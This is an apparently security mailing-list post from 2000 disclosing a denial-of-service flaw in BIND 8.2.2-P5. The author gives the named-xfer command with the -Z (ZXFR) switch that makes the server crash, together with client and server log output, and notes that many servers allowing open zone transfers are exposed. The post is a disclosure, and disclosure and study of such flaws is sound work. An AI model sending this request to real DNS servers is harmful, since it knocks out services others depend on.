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BIND 8.2.2-P5 Possible DOS
From: "Fabio Pietrosanti (naif)" <fabio () TELEMAIL IT>
Date: Tue, 7 Nov 2000 13:40:49 +0100

Hi,
playing with bind and ZXFR feature ( zone transfer compressed with a possible insecure
execlp("gzip", "gzip", NULL); ), i discovered a Denial Of Service against Bind 8.2.2-P5 .

By default Bind 8.2.2-P5 it's not compiled with ZXFR support unless you define it with #define BIND_ZXFR
so it will refuse any ZXFR transfer, because it doesn't support it.
But now what appens? Look here...

################################
zone to transfer: zone.pippo.com
dns server:       dns.pippo.com 192.168.1.1
me:               naif.gatesux.com 10.10.10.10
I send a Zone Trasnfer request using "-Z" switch with means that i wish to use ZXFR.
dns.pippo.com does'nt support ZXFR and have "allow-transfer{}" not configured, so everyone
could ask him for *.zone.pippo.com ...

<naif () naif> [~/bind/src822p5/bin/named-xfer] $ ./named-xfer  -z zone.pippo.com  -d 9 -f pics -Z dns.pippo.com
named-xfer[29297]: send AXFR query 0 to 192.168.1.1
named-xfer[29297]: premature EOF, fetching "zone.pippo.com"

On the server's log:
Nov  7 11:19:09 dns.pippo.com: named[188510]: approved ZXFR from [10.10.10.10].2284 for "zone.pippo.com"
Nov  7 11:19:09 dns.pippo.com: named[188510]: unsupported XFR (type ZXFR) of "zone.pippo.com" (IN) to [10.10.10.10].2284

Then the server "*** CRASHED ***" .

I should assume that bind 8.2.2-P5 it's vulnerable ( Please someone test and confirm this kind of dos)
and bind-9.0.0 has no support for ZXFR .

<naif () naif> [~/bind] $ find src822p5/ -type f -exec grep -i zxfr \{\}  ';' | wc -l
    234
<naif () naif> [~/bind] $ find bind-9.0.0/ -type f -exec grep -i zxfr \{\}  ';' | wc -l
      0

A lot of DNS Server are misconfigured, and allow zone-transfer to any, so they are dossable...


naif
naif () itapac net


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